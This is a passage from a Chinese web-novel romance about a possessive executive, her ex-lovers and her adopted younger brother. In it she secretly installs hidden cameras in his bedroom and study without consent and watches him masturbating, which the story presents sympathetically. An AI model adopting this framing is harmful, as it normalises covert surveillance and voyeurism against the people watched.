换药之后,她的病分明已经稳定了,前两天也才刚刚找季语薇纾解过。可此时此刻,对着自己养大的季尧,她指尖发痒,控制不住地想要占有。 “很好,阿尧,真的很好。”她克制住这份扭曲的欲念,想让声音轻柔,却因用力过度变得虚无缥缈,“你看,你并不是麻烦,你很优秀,没必要理会一个偶像说的话,他究其一生也看不到你所见的层级。” 少年眸中的光愈发亮了。 他目光落在那份文档上,不知想到了什么,慢慢又趋于黯淡,变得失落。 邱芜澜五味杂陈。 他有这样的能力,却要做韩尘霄那一层次的工作。 暴殄天物。 两人沉默了几息,邱芜澜从文档中退出,“游戏展就在明天了,是么。” “对。”季尧重新提起笑容,“我们去上半场还是下半场?” “下半场,”邱芜澜不假思索,“重头戏在下午。” 看见了那样赏心悦目的报告,邱芜澜很好说话,“表演赛在晚上,下半场和表演中间的时间,有什么想做的么。” “附近有条美食街。”话出口的瞬间,季尧就见邱芜澜脸色微变。 可他还是胆大包天地说了:“姐姐,我想和你去吃垃圾。” “不行。”邱芜澜想也不想地回绝,“你身体才刚养回来。” “姐姐、姐姐~”季尧拉着她的手撒娇,“我的代谢没那么差,你足足扣了我六十万的分红,全部给了韩尘霄,难道不该给予我一点补偿么。” “不是‘尘霄哥’了?”邱芜澜挑眉。 季尧笑着,每次看见他的笑脸,邱芜澜都不由自主地柔和面色。 “我只给你一百块的额度。”她让步了,“花完就完。” “一百块!姐姐,你知道现在网红店的物价有多贵么。”季尧睁大眼睛,“又不是小学生春游买零食。” “我知道你是大学生,所以给了三位数。” 季尧面色幽怨,很不情愿。 遵循能量守恒,他的不快变成了邱芜澜的快乐。 他是那样优秀的、漂亮,却连吃什么都要征求她的同意——古怪的情绪胀满了心田,餍足之下,那股躁意潮涨而起。 邱芜澜下意识想要伸手触碰季尧,抬手之际,猛地顿住。 韩尘霄不在了…… 她要如何跟季尧分离? 邱芜澜意识到了,自己似乎一直在逃避,包括眼下,她轻而易举地给自己找了理由—— 算了,之后再说吧,他受了委屈,需要自己的抚慰。 “姐姐,你一点都不了解现在的物价。”季尧还在尝试劝说,“不然今天的晚饭我让你看下一百元能吃到什么。” 邱芜澜不为所动,“我很期待。” 还是个会赌气的孩子呢。 她踟蹰地暗叹,之后再说吧。 不用调.教韩尘霄的日子异常舒心。 四点起床,刷一会儿资讯,健身房里已放好了她的运动衣。 晨练一小时,她进入浴室,洗漱用品和浴衣皆已齐备;等她出来,桌上刚好摆上早餐。 她不需要一手回消息一手进食,当她拿起手机,季尧会自觉接替她的刀叉、筷子。 书房的电脑在她坐下之前打开,等她落座,一杯馥郁的花茶适时落在手边。 她微微抬手,季尧便低头钻进她的掌心,眯着眼享受她的嘉奖。 一切都安稳、有序。 她不再需要忍受不稳定的厨艺和生涩的反应。 中午吃了饭,季尧帮她挑选好了衣服配饰。 邱芜澜时常觉得该自己穿衣服了,无奈季尧动作总是抢先一步。 浴衣的系带已被解开,她回味着刚才的红糖凉糕,思绪慢了半拍,今天的拒绝又没能说出口。 待她反应过来时,自己已经提起脚后跟,季尧也已半跪着帮她穿上了鞋子。 “姐姐,可以出发了。”他抬头,眉欢眼笑的表情撞入邱芜澜眼中,令她心情也变得愉悦。 “走吧。”她坐上了副驾驶,看着兴致勃勃的季尧,恍然意识到,自己确实很久没有陪他出门了。 游戏展在郊区,这样长的距离,路段又堵,如果不是周围没有停机坪,邱芜澜绝不会坐车过去。 距离场馆五公里的路段果然堵得一塌糊涂。 正午阳光直晒,车里开着空调也燥热难捱。 车子停在路中,季尧轻叩着方向盘,忽然开口:“姐姐。” “嗯?” “后备箱有应急轮椅。我推着你跑过去吧。” “真有趣。”邱芜澜抬眼,“你疯了么。” 想想那个场景,大排长龙的马路旁,她坐在轮椅上,打着阳伞,被季尧推着狂跑。 真是疯癫和优雅并存的画面,值得一个热搜。 季尧蹙眉:“对不起,耽搁姐姐时间了。” “今天是休息日,我不需要工作。” 可她午饭前还在工作。季尧趴在方向盘上,侧头看邱芜澜。 邱芜澜就见他看着看着眼眸弯了起来。 “笑什么?”她问。 “喜欢姐姐。”那双玻璃糖似的眼睛在正午的阳光下融出甜味,“阿尧喜欢姐姐。” “我又不是第一次和你去游戏展,用得着这样阿谀奉承么。” 季尧眸光微动。 她说的是“和你”,而不是“陪你”。善良体贴得细腻至极。 无端的,他想起了那天韩尘霄身上的违和之处。 韩尘霄如此消瘦,已是为爱痴狂,姐姐想要驯化他,就一定会奖励他的这份痴情,鼓励他继续保持。 为什么那天没有让他上床呢。 季尧其实并不完全清楚邱芜澜和那些男人相处的细节,他不是邱泽安,没有资格对邱芜澜的伴侣评头论足、诉说不满。 他必须回避,以免惹她厌烦。 这些不是他该想的事。 半年之前,他的愿望只是做好一个弟弟,在距离邱芜澜最近的地方看着她而已。 可邱承澜对他、对邱芜澜的态度转变,让季尧看见了渺茫的希望。 如果田烨、韩尘霄这些人可以,那他为什么不可以。 他会比那些蠢笨的公狗做得更好、更讨姐姐喜欢。 车流缓缓动了起来,最后五公里花费了近一个小时。 进入会馆,那窒闷的尾气、皮革、汽油以及被晒得发烫的沥青味终于远离。 会馆人头攒动,好在冷气开得很足。 摊位琳琅,各家游戏公司、各类COSER、网红聚集一处。 进入室内,季尧戴上了口罩。 邱芜澜粗略扫过,和往届大同小异,便由季尧引路,跟着他逛。 “这是去年的‘黑马奖’。” 季尧一如往届,洞悉了邱芜澜感兴趣的一切,向她提供资料,“YT评分9.8,同时拿到了去年的金摇杆和开发者选择奖。” 邱芜澜站在屏幕前,看了一会儿宣传PV,“确实吸引人,以前没怎么听说过这家公司,制作成本看着不低,推广做得怎么样?” “的确不是大公司,钱都拿去做游戏了。” “净利润率是多少?” “14.8。” “都不营销,怎么会这么差。” 季尧道,“缺乏经验,试错花费很高,制作时间也拉得很长,中途主创还跑了两个。” 邱芜澜颔首表示知道,让季尧带她去下一家。 她不止看游戏,也看人。 “今年《K09》的COSER格外多啊。” 季尧噗嗤笑了声,在邱芜澜不解的目光中,解释道,“过年的时候,他们论坛里出了个爆帖,两个COSER奔现的绝美爱情故事。可能是因为那个帖子的缘故吧。姐姐看,是不是年轻的女孩占多数?” 邱芜澜若有所思,“软文值得重视。” 她乐意跟季尧来游戏展,因为季尧能为她提供大量有效信息。 他一直知道她想要的是什么,堵车的时间是值得的,和季尧在一起的所有时间,都让邱芜澜感到值得—— 除了逛美食街吃垃圾。 “姐姐,你答应过我了,‘和我一起吃垃圾’。” 看见怼到面前的奶茶,邱芜澜已经从粗吸管口子里嗅到了香精勾兑的化工品气味。 “不,我不会喝的。”她别过头,忍耐着,“你也不许喝完一整杯。” 她难以想象,整整五百毫升的、不知成分的化工勾兑液体居然要灌进季尧健康的身体里! 这东西和稀释过的油漆有什么区别——至少油漆桶上还贴着明确的成分表,这杯东西连配料表都没有显示。 那么一大杯全部喝下去之后会发生什么! 邱芜澜后退了半步,心生恐惧。 “不,”季尧扬唇,“我就要喝完。” “阿尧。”邱芜澜加重了语气。 “之后吃什么呢,”季尧叼着吸管望向远处,“嗯,我想吃凉皮卷。” 邱芜澜死死盯着那半透明的吸管。 她看见吸管里有模糊的块状黑影进入了季尧的嘴唇。 那是什么——不透明的纸杯、不透明的吸管,这种无人监管的连锁店,谁都不知道这杯化工品里有没有生出一只蛆。 “扑哧…” 清朗的笑声蓦地溢出,季尧笑着,肩膀耸颤。 晚霞绮丽绚烂,他的笑亦是如此,携着暮春初夏的几缕暑气。 “姐姐,你的瞳孔在地震吗。”那对尖利的犬牙露了出来,他笑得揩去眼泪,“抱歉,我不该戏弄你的。” 邱芜澜愣了下,随即眼角微耷,透出点冷意。 戏弄她? 她该生气的,可那点冷意在瑰丽的晚霞和少年烂漫的笑中冰消融化。 这几年来,季尧很少这样肆意欢笑了。 自她给他布置作业开始,他便越来越活泼开朗。 邱芜澜不忍心再度收走这份笑容。 她嗔视他,心里却冒出了几项可以留给他的新“作业”。 “姐姐,别生气。”季尧追了上去,那杯奶茶随手扔进了垃圾桶里。 他对邱芜澜和男友们相处的细节不甚了了,只是从前偶遇过一次她和华君润逛街。 「芜澜,我们去小吃街解决午饭吧,看电影前要买奶茶吗?」 「抱歉君润,我最近在减肥。你替我吃吧,多吃一点。」 「你一点都不胖啊,尝尝看,真的很好吃。」 「我更喜欢看你吃东西的样子。」 “太可怕了,我还以为你真要把那一瓶香精糖浆喝下去,”邱芜澜轻斥,“拿这种事来戏弄我,你以为我担心的是谁的身体。” “姐姐,原谅我吧。” 邱芜澜睨他,“出来玩就这么高兴么。” 季尧灿笑:“嗯,阿尧好高兴。” 第67章 第六十七章 晚上六点, 太阳褪去,天色还未暗,邱芜澜和季尧走出了公司。 年初的忙碌过去, 季语薇和华君润这两个重点项目都已走上了正轨。工作不那么忙的时候,邱芜澜也会做一下护理。 她常去的护理店开在湖城商圈, 距离秋叶娱乐所在的CBD不到五公里。 晚高峰路堵,他们索性徒步过去。 “姐姐, 早上的那两份资料,我已经比对完了。听说他们最近股东有大变动,但股东权益的数据和去年相差无几, 那些资料要么是滞后, 要是就是虚的。” 两人边走边说着话, 看完游戏展回来, 邱芜澜又给季尧发了几份作业。 这个决定没错。 看着活力四射、侃侃而谈的季尧, 邱芜澜想, 自己早该这么做了。 处理这些事情并不会让季尧获得邱家的权益; 他所有成果都封锁在她手上, 对邱家没有任何影响,只会成为她的功绩。 这不算背叛,她没有背叛母亲, 没有背叛兄弟, 没有让季尧获得任何实质性的好处。 如果季尧以后独立创业, 那这些作业会为他提供帮助;就算他不去创业、一辈子保持现状,这些事也能让他消磨时间、感到充实。 唯一的缺点是, 最近的季尧太活跃了, 她被他调动起了情绪,偶尔异常亢奋。 正如此时此刻,看着神采飞扬的少年, 邱芜澜欣慰的同时,生出了黏腻的渴欲—— 她想扯着他的头发,把这张漂亮的脸压去身下。 他的一切都是她给予的,得体的服装、健康的身体、高超的能力,他有多意气风发,就该对她有多崇拜感激。 这念头刹那划过,邱芜澜闭了闭眼,压下翻腾的躁动。 “姐姐。” 姐姐…… 这是她的弟弟、是家人,她不能这么做。 “嗯?” 季尧停了下来,邱芜澜顺着他的目光看去,在经过公寓的路段上看见了熟悉的人影。 韩尘霄。 时隔一周,这是他们初次见面。 他站在路灯下,昏暗未黑的天色模糊了他的身形。隔着口罩,他神形憔悴,双眼像是发脆的枯叶,稍稍用力就会被碾碎。 “芜澜,”他站在远处唤她,“终于等到你了。” 邱芜澜感到了麻烦。 培养一段关系需要花费大量的时间精力,结束一段关系也要耗时耗力。 永远都是这样,她的休息时间不能去充实自己、不能陪伴家人,总是耗费在一个又一个男人身上。 囿于恶病,邱芜澜烦透了永远无法结束的轮回。 她对韩尘霄点头,“你好。” 你好? 韩尘霄瞳孔微缩,他宁愿邱芜澜对他面露厌恶,也不能接受这上司偶遇下属的口吻。 “芜澜,我们谈谈好么。”他萧瑟地哀求,“求你了。” 二十万?五十万?还是一百万? 邱芜澜不胜其烦,如果她给韩尘霄一百万,他能二话不说、干脆利落地闭嘴,抹去和她交往的所有记忆么。 大概是不能。 邱芜澜很不安,钱无法解决和男人们相处之后残留的隐患。 “说吧,你的诉求是什么。” 公事公办的语气让韩尘霄一阵刺痛。 他倏地低头,对着季尧鞠躬,“对不起季尧,请你原谅我。” 季尧微讶,那双圆眸睁大后像是好奇的猫科动物。 他捏着下巴思忖,露出一侧犬牙,俯视韩尘霄的后脑。 “尘霄哥,你不用感到抱歉,那天被打的可是你呀。”他说。 韩尘霄抬眸,“你原谅我了吗。” “我说了你不用抱歉。” “那…”“那又谈何原谅呢。” 韩尘霄在季尧的笑脸上看见了露骨的恶意。 华君润没有故意引导他往坏处想,他说的全部都是事实:季尧就是在切切实实地恶意针对所有“姐夫”。 “尘霄,不用这样。”邱芜澜道,“这件事确实是季尧错了,该道歉的是他,不是你。” “可是,”韩尘霄低语,“你不要我了。” “与对错无关。不匹配岗位,不代表你有错。” 邱芜澜自他身边走过,她的袖子被轻轻扯住。 韩尘霄没有拉她的手,只是扯住了一点衣袖。 “芜澜……”他再度哀求。 季尧眸中划过戾色。 邱芜澜驻足,“尘霄,这半年我也累了。” 韩尘霄垂眸,“我知道……我知道自己总是让你失望。” “不,你不知道。” “我没有对从前的你失望,不管是艳照还是爽约又或者别的什么,我都不失望,我失望的是,你居然会因为短短几个月的恋爱把工作搞得一塌糊涂。” 邱芜澜抽回袖子,“RNI这个团队,我唯一抱有希望的就是你。那一届选秀,我撤掉了投资方推荐的人,力排众议把冠军颁给了你。我向投资方保证、向股东们解释,可不过三年,你就颓废至此。” “韩尘霄,你太让我失望了。” 韩尘霄错愕地抬眸,望着她的背影。 “芜澜,我、我不知道!”反应过来她说了什么,韩尘霄疾步上前,“对不起,我不知道你私下保了我。芜澜,我错了,我不会再请假了,我会好好工作!” 难怪她不赞同他退圈,原来、原来在他不知道的地方,她为他付出了那么多。 邱芜澜转眸,冷淡回睇。 她一言不发,那抹眼神令韩尘霄陡然清醒。 她不需要他的道歉和保证,她只看接下来的业绩。 韩尘霄咬牙,转身往公司跑去。 他要销假、他要立刻营业、他要如她所说成为下一个ASHS。 走出一段路后,邱芜澜在红灯前牵住了季尧的手。 季尧收拢五指,知晓她是在安抚他看见韩尘霄的情绪。 “姐姐,”他俯身将下巴搁在她肩上,“你太善良了。” 她完全可以不管那个小偶像,却不忍他为了这段感情荒废事业、堕落下去,不惜说谎也要刺激他振作。 “这不是善良,”邱芜澜淡淡道,“他要是没事可做,我就会有很大麻烦。” 她和韩尘霄牵扯的太多了,放任这样一个和她有过深度接触的人在外面乱晃,风险太大。 刺激他全力工作,几年以后,等韩尘霄回过味来时,他也已和秋叶娱乐密不可分,利益捆绑在一起。 “我说的也不全是假话,RNI里面,我唯一抱有期待确实只有他。” 他还年轻,正是上升期,有点实力又肯努力,花期之内至少还能为她再赚几个亿。 “傲娇。” 邱芜澜诧异扭头,“你说什么?” “我说,”季尧拉长了声调,“姐姐傲娇。” 邱芜澜难得无语,“……你对我太有滤镜了。” 他过度合理化她的一切行为,季尧眼中的姐姐,如救赎的天使完美无瑕。 邱芜澜并不妄自菲薄,但也实在不觉得自己有多善良。 至少,一个善良的好人是不会在未经同意的情况下,擅自在别人家里装满摄像头的。 一周后的出差途中,邱芜澜看着摄像头传回来的画面,食指叩了叩屏幕上的人像。 八个隐藏式摄像对准了季尧的卧室、游戏室和书房。 未免他不回自己的房子,邱芜澜在她的别墅里也装了几个。 季尧有陈列周边的爱好,安装摄像头十分容易。 C国回来时,邱芜澜就感觉到了强烈的违和。 她想不到季尧绝食的理由,季尧也不停地转移话题,拒绝正面回答她。 这次出差前邱芜澜特地做好了准备,打算亲眼看看到底是怎么回事。 四天过去,八个监控画面里的季尧行为十分正常,偶尔漏吃早餐,偶尔吃点让邱芜澜皱眉的垃圾,总体来说没什么大问题,手边也再没有出现过布洛芬。 是她想多了? 一次的数据太少,实验需要三次以上的观察,只这一次的出差样本远远不够。 但季尧会拆装周边,也上过反侦察和排查监听设备的课程,那些摄像头不能放置太久。 一无所获,要就此收回么…… “邱总,”简在门外提醒她,“王总到了,我们可以过去了。” 邱芜澜嗯了一声,正要放下平板,指尖倏地一僵。 她抚上蓝牙耳机,目光游移几寸,又慢慢回到了屏幕上。 “姐姐……” 模糊的低吟传入耳机。 少年跪在她的床上,叼着手腕上的发圈,闭眼闷哼,“哈…姐姐,阿尧好想你…… 邱芜澜扶额,她看他进了卧室,点了自己惯用的香薰,还以为是要午休。 “姐姐、姐姐……” 潮湿的少年音自耳机直传进她耳朵,羽毛般搔刮着大脑皮层。 水色自少年漂亮的唇角流下,濡湿了他口中咬着的发圈。 他眼角绯红,柔软的卷发晃得有些凌乱,当他掀起眼睑时,那双浅色的瞳孔氤氲迷离,流泻出惊心的妖冶。 “哈……” 邱芜澜的手指挪去了屏幕上,在介于少年和青年之间的身体上滑动,将画面放大、再放大。 红色的欲蛇自她脚踝向上缠绕,她眯眸,呼吸急促,全身的血液如岩浆般稠腻滚烫。 看见韩尘霄握着裙子思念她时,她只是觉得有趣,由此衍生出改造他的灵感; 可此时隔着屏幕,监控仅仅只是照到了季尧的后背,听见他喑哑动情地唤她,邱芜澜便兴奋得椎骨酸痒。 画面已被她拉大到极致,她又接着调高了音量。 啊…啊…… 她的季尧,越来越出色,越来越漂亮。 他本就动人,最近开始工作的他更像是镀上了火彩的宝石,焕发出华美耀眼的泽光,让她几乎控制不住自私的占有欲。 “邱总?” 简在外面敲门,“邱总,可以出发了吗?” “嗯……”邱芜澜哆嗦地去找药瓶。 她吞着药,视线却始终被钉在监控中央。 邱芜澜左手握住水杯服送药丸,右手抚摸着屏幕上的季尧。 他弓着腰痉挛了一下,脸上泛着玫瑰般的瑰色。 这是不利于季尧独立的行为,她该制止他随意出入自己的居所,没有哪个姐姐看见弟弟做出这种行为后不会生气。 可即便吃了药,对着暗昧的监控,邱芜澜心中也只萦绕着一个想法—— 真可爱。 她的弟弟,可爱极了。 第68章 第六十八章 清醒后, 邱芜澜意识到了问题的严重性。 她以为新药能控制住病情,没想到还是不稳定。 韩尘霄不在了,她没空也没耐心再去培养新人。 季语薇是她最早用的药, 遗憾的是她欣赏不了季语薇的厨艺,也不舍得让季语薇搁置事业。 只能如此了么…… 邱芜澜第二次走进了这套同小区的别墅。 “芜澜?” 迎接她的, 是惊讶的华君润,“你找我?” 邱芜澜打量了番他的神情。 签回华君润半年了, 他除了打压未遂韩尘霄外,再没有做过什么。 “打扰你了么?”她问。 “不,没有。”华君润侧身, 请她进门, “只是有点意外, 你居然会在公司以外的地方找我。” “来不及准备, 喝点麦茶吧。”他将瓷杯放在她面前, 邱芜澜嗅到了浓郁的麦香。 “谢谢。”邱芜澜扫过几处角落。 她没有提前通知, 是突然上门, 确保华君润没有提前做准备的时间。 还不能掉以轻心,就像季尧也不曾想到,她会在自己的卧室里安装监控。 “今年第一季度的数据出来了, ”邱芜澜抽出一份文件递给华君润, “按照公司传统, 会有一次ASHS面谈。” 华君润接过,这份清单上只有排名, 没有其他ASHS的具体数据, 他只能看到自己的内容。 他和季语薇是代替宋折凝的重点项目,目前的几名ASHS,季语薇独占鳌头, 其次是宋折凝在时就稳居第二的乔尹,第三便是他自己,Q1签约额达到了七千一百万。 华君润没有接太多广告和综艺,考虑到要承担的风险,他宁愿绩效差一些,也只代言自己有把握的品牌。 “这个数字,你自己还满意么。”邱芜澜问。 华君润合上文件,“公司方面有什么想法?” “你比语薇落后了一点。” “她出道比我早太多,资历和赛道都不一样。”华君润笑道,“好吧,听起来像是借口。我看了上面写的Q2规划,会尽力达成的。” 邱芜澜下颚微收,“看来这些年你真的成长了很多。” 他始终在和她绕圈子,连一句他对这个业绩的自我评价都问不出来。 华君润笑而不语。 邱芜澜偏首,柔顺的发丝倾斜,露出一侧圆润的海螺珠耳坠。 她轻声问:“君润,连这种事你都不能回答我么。” 那温和的笑意瞬间凝冻。 华君润指尖蜷拢,眼睫颤动了两下。 “我觉得自己做得还算可以……” 他听见了清浅的笑声,像是一颗露珠自竹叶上滑落。 噗通—— 他的心跳随之响应。 “我很感谢你,愿意在公司最尴尬的时候出手相助。”邱芜澜挽发,愈显露出那浑圆可爱的海螺珠,让他看个清楚,“你找上我的时候,我真是吓了一跳。” 她倏尔抬眸,直勾勾地盯着华君润,“君润,去年是你最风光的一年,为什么还要回到秋叶娱乐?” 华君润苦笑,“你不是知道么。” “我不知道。” 华君润沉默,片刻后,开口,“因为我想见到你,芜澜。” “为什么呢,”邱芜澜确认了下手机还在录音,“你已经是风头无两的亚缇丝影帝了,身边的女人不计其数。我能给你的,其他富家千金一样能给你——不,你已经不缺钱也不缺资源了,用不着借女人的力。” 厌恶和痛苦同时出现在男人身上,“芜澜,找一个恋人很容易,但找伴侣不是。我用不着她们的钱、她们的地位和她们的美貌,我需要的是精神上的支柱。” “支柱?” 这是充满了华君润风格的答案,他的答案总是出乎邱芜澜意料,让她感到茫然。 邱芜澜从小受着艺术熏陶,可大概有些事情非得要天赋不可,她始终没能习得华君润的浪漫主义。 她不解其意,华君润却没有再解释。 “都过去了,芜澜,我不会再打扰你的生活了。”他冲她笑了笑,“中午在我这儿吃饭吗?” 邱芜澜抿了口麦茶。 她第一次来这里的时候,华君润满眼爱意,无比迫切;是那份检验报告把他打痛了、不敢再作它想了么。 “好。”她搁下杯子,“我们也好久没有一起吃过饭了。” 华君润扬唇,笑得一如他们在一起时的纯净。 他们像是老友重逢一样吃着饭闲聊家常,“我回来后都没有见到泽安了。” “他毕业了,正式接手了工作,现在基本待在分公司,做独立项目。” “还好有季尧陪着你,”华君润道,“过几年你进入集团,季尧还会留在秋叶娱乐当艺人么。” “看他自己。”邱芜澜就着话题随口问道,“你呢,这么多年了,有人陪着你么。” 华君润自嘲,“有的话,你早该见到了。” “你已经功成名就,有选择的权力了,何必过得这么清苦。”邱芜澜瞥过客厅,“你不是偶像,不用管恋爱合约那一套。” 华君润停下筷子,饶有兴味,“芜澜,你今天特别在意我的感情生活。” “我不仅在意你的,也在乎语薇、泽安和季尧的。”邱芜澜舀起滑蛋,“怎么我身边所有人都一片空白,显得我另类似的。” 银色勺子挖断了滑蛋,邱芜澜感到了新奇。 她知道华君润变得世俗圆滑了,可他此前依旧对她卑微入尘,和那些求她不要分手的男人一样。邱芜澜从没见过和她打太极的华君润。 “你的焦虑症看起来好多了。”她换了个话题。 “你非要我去检查,我也就吃了一段时间的药。”华君润道,“现在已经很少感受到那种焦虑了。谢谢你。” 邱芜澜指尖一斜,柔嫩的滑蛋被勺子碾烂。 “恭喜你。”她祝贺。 华君润拿起水杯,借着喝水的动作,余光扫见将蛋和米饭一起送入口中的邱芜澜。 杯中的水晃荡了几番。 他用尽所有力气控制面部表情,想象着桌旁架着摄像机,这是一场他需要克制情绪的戏。 邱芜澜咀嚼后咽下,发现华君润正盯着自己:“怎么了?” 华君润放下杯子:“没什么,只是很高兴你这么赏脸我做的菜。” 轻而易举就脱离疾病的华君润固然让邱芜澜嫉妒,但华君润做的菜是无辜的,她很喜欢。 她本以为只要自己透露出一点意向,华君润就会立刻欣喜若狂地贴上来,现在看来,事情暂时无法推进。 邱芜澜也就不浪费时间,告辞离开。 “这就要走了?”华君润礼貌挽留。 “嗯。”邱芜澜前脚迈出门,顿了顿,又收了回来。 她扭头看向他,欲言又止。 “东西落了么?” “刚才吃的焗奶米布丁,是切块的。” “嗯?”华君润不明白她为什么突然说起这个。 邱芜澜盯着他:“所以你做了不止那些。” 华君润微愣,旋即虚握掩唇,失笑出声。 “我明白了,你等一下。”他转身走进厨房,出来时手里多了个纸盒。 “是切块的,但本来也没做多少,剩下都是边角料了。你拿回去给季尧吃吧。” 邱芜澜当着他的面打开,捡了一块碎边塞进口中,“我不是拿剩饭羞辱弟弟的恶毒继姐。” “我不是这个意思。”华君润好声好气地解释,“材料很简单,给他尝尝,他就知道怎么做了。” “Godless.” 邱芜澜充耳不闻地又捡了一块吃掉,“你可真贴心。” “我还能再来吃饭么。”她问,“阿尧不在的时候。” 华君润失笑,“随时欢迎。两人份的饭,比一人份好收拾。” “随时?”邱芜澜瞄向智能门锁,翘起拇指,上面还沾着一点米布丁的碎屑。 华君润从玄关抽了张纸,包裹住她的拇指,仔细地擦拭。 他清理干净她的指纹,在密码锁上增添了新成员。 “录吧。”他侧身退开,让邱芜澜把拇指按在指纹屏上。 指腹压在了屏幕上,伴随着“设置成功”的提示音,她获得了自由出入这间房子的权限。 这之后,邱芜澜可以随时出入华君润的私人领地。 华君润目送她离开,回来后看见了桌上尚未收拾的碗盘。 他走去邱芜澜的座位,拿起她用过的勺子。 无人的别墅内,他脱下演技,再也抑制不住低笑。 “呵…哈哈……” 捻转勺柄,勺底映出华君润的半张脸,他的笑被勺面弧度所扭曲,泄露出的几声轻笑逐渐高亢。 韩尘霄,那个蠢货。 年少成名可不是一件好事,华君润深谙这一点。 今天的韩尘霄就和当年离开邱芜澜的他一样,太过年轻,懵懂无知,根本没有意识到自己得到了多么珍贵的宝物。 更何况,他根本就不爱芜澜,从一开始就抱着极强的目的性。 他的心思不在芜澜身上,所以整整半年都没有触动过芜澜一次。 像他这样的空壳一旦触犯到芜澜的底线,自然容易被她销毁丢弃。 可惜,真是太可惜了。 韩尘霄到现在都没有发现,芜澜对待他和那些前任是不一样的。 她厌倦了那些轻浮的男人,花费心血培养了一个丈夫,可他如此不知好歹,让她忍无可忍。 抛弃韩尘霄的邱芜澜会再去找新人么——很难了。 她要为进入集团做准备,要帮扶邱泽安在公司独立,还要为日渐长大的季尧担忧前程。 她没空再重零开始塑造新人,为图便利,邱芜澜一定会从过往的情人中筛选出一个最符合她心意的旧人,在已有的基础上进行调整。 “芜澜……”华君润跪坐在餐椅旁,膝盖开叉,双手紧握勺柄,低头含住了银勺。 他想起邱芜澜坐在沙发上,略带不满地歪头,问他为什么不肯告诉她真心话。 那模样可爱得华君润心脏融化。 他就知道,抛弃韩尘霄之后,她一定会选择他。 只有他是真心爱她的——这些空碗便是证明。 华君润的这份用心,邱芜澜感受到了。 数不清的前任里,华君润是最在乎她本身的那一个,也是唯一一个希望她无权无势、只是个普通女孩的人。 因此哪怕华君润变了很多,邱芜澜的首选对象也还是他。 今日的见面有点糟糕,但也不坏,至少她从来不用在华君润这里饿肚子,每次还能有点意外收获。 快到家时还剩下两块边角料,邱芜澜合上纸盒,听从华君润的建议,把它拿给季尧去分析。 “邱总?” 温润的声音自后传来,邱芜澜回眸,正对午后斜阳,阳光刺进眼中,逆光的人影让她疑惑: 华君润怎么追来了。 待眼睛适应光线,邱芜澜才辨认出了对方是谁。 “易蒲。” 她颔首致意,“好久不见。” 男人弯眸,“是啊,难得在小区看见邱总。” 他朝她走来,步态身形几乎和华君润没有差别,五官长相亦有五分相似,连双方粉丝都有认错的时候。 “这个时间点,邱总不是在散步吧?”他笑着调侃。 初夏的暖阳穿过蓊郁的树叶,投下细碎斑驳的光荫,空气中有了暑气。景色、温度,和眼前的男人形成了绝妙的配比。 邱芜澜提着纸盒,转身面向他。 “易蒲,有兴趣接我的戏么。” 易蒲眨眼:“嗯?” “《红丝鸳》的男二,男一的弟弟。” “我听说过这个组,”易蒲微讶,“当时我在山上拍戏,没能赶上试镜,现在角色早就定下了吧?” “不要紧。”邱芜澜展眉,“你很合适,我可以安排你进去。你要是愿意,周一上午来我公司,我约导演制片人一起面你。” “我倒是有空……”易蒲思忖着,像是在权衡着些什么。 婆娑的光影在他身上晃动,片刻,他和煦地对邱芜澜致意,“好,谢谢您,我会去的。” 他们相互道别,各行其路。 邱芜澜踏入院子时,大门就被打开。 “姐姐。”季尧接过她手中的纸盒,“你回来了。” “你怎么知道我回来了?”邱芜澜很好奇为什么季尧每次都能估准她到家的时间。 “我在阳台晒衣服,刚好看见。”季尧说。 邱芜澜没有在这点小事上多做纠结,她换了鞋,示意季尧打开纸盒:“尝尝。” 盒子里是两块甜点碎块。 季尧眸色微沉,这不规则的边角料便证明了它的来历——它不是商店出售,是家庭手工制品。 他将微硬的表层咬碎,瞳孔有些发虚。 韩尘霄离开后,他的头痛减缓了很多,听见邱芜澜对简说暂时不需要伴侣后,季尧的状态愈好,哪怕邱芜澜出差四天,他都能按部就班的正常生活。 为什么,她这么快又找上了华君润…… 他明明提醒了她,华君润背地里对韩尘霄做过什么。 他不再是那个清高、单纯的年轻人了,现在的华君润市侩恶毒,俨然是个日渐衰老的中年男人。 冷却后的米布丁略显干硬,季尧嚼蜡般咀嚼着,颌骨牵扯着神经,每动一下,大脑都隐隐抽痛。 “可以复刻么?”邱芜澜问。 她的声音近而远,像是茧上剥下来的丝,季尧听不太真切,却又切实理解了她说的内容。 “应该不难。” “你要是有空,就试试吧。”邱芜澜走向书房,“我处理一会儿工作。” 随着她走远,本就轻若蚕丝的声音愈发遥远朦胧。 季尧甩了甩闷胀的头,他接收到了邱芜澜的语言信号,比起“听见”,更像是“意识到”。 也许,他是有点中暑。 季尧抱着盒子,久立在门口。 他分明和邱芜澜共处一室,却没由来的情绪低落,提不起任何兴致,甚至连手指都不想动。 不该打韩尘霄的。 季尧恹倦地将纸盒捏成一团。 比起华君润,还是韩尘霄留在姐姐身边更好一些。 …… …… “华老师。”助理推开门,“邱总问您现在有空去一趟练舞室么。” “知道了。”华君润将电脑锁屏。 他没有舞蹈类活动,最近也没有武指要过来,叫他去练舞室,十有八.九是和季语薇磨戏。 这不该是芜澜叫他过去。 想来周末那次见面,让她感到了困惑。 毕竟前不久,他还像狗一样驮着她在地上爬行。 回忆起邱芜澜手滑碾烂滑蛋、面无表情大口咀嚼的样子,华君润不由得抚唇抑制笑容。 他的芜澜,怎么能越来越可爱了。 华君润的欣悦维持到推开练舞室门的那一刻。 等待他的不是季语薇,而是《红丝鸳》的导演制片人,以及一个人他再熟悉不过的后辈—— 易蒲。 “君润老师!” 易蒲的咖位、资历低于他,又比罗浩炆、韩尘霄等人高出几筹,因而尊称他为老师的同时,又亲切地直呼名字。 那张和他有几分神似、又比他年轻的脸上洋溢着友善。一如多年前的那一天,彬彬有礼的青年热情地朝他伸出手,向他问候:“好久不见了君润老师。” 似曾相识的场景华君润一瞬间回想起了很多。 他和邱芜澜分手后的第一次重逢,就是借由易蒲之手。 那次,他隔着车窗听见了邱芜澜的声音; 这一次,华君润直接看见了坐在易蒲之后的邱芜澜。 目光交错,她的视线从他身上掠过,又一次汇集于易蒲一身。 第69章 第六十九章 “你好。”他态度平和地与易蒲握手。 和他稍显冷淡的反应相比, 易蒲显得尤为高兴,“《红丝鸳》的角色都定下了,没想到还有机会能来试镜。” “男二?”华君润看向导演和制片人, “王轩退出了?” “没有定。”制片人道,“男二是男一的亲弟弟, 那么从角色适配度上考虑,易蒲确实比王轩更合适。” 华君润深谙, 一个化妆师就能解决的问题,显然不是临时换角的真正理由。 导演靠着椅背,笑呵呵道, 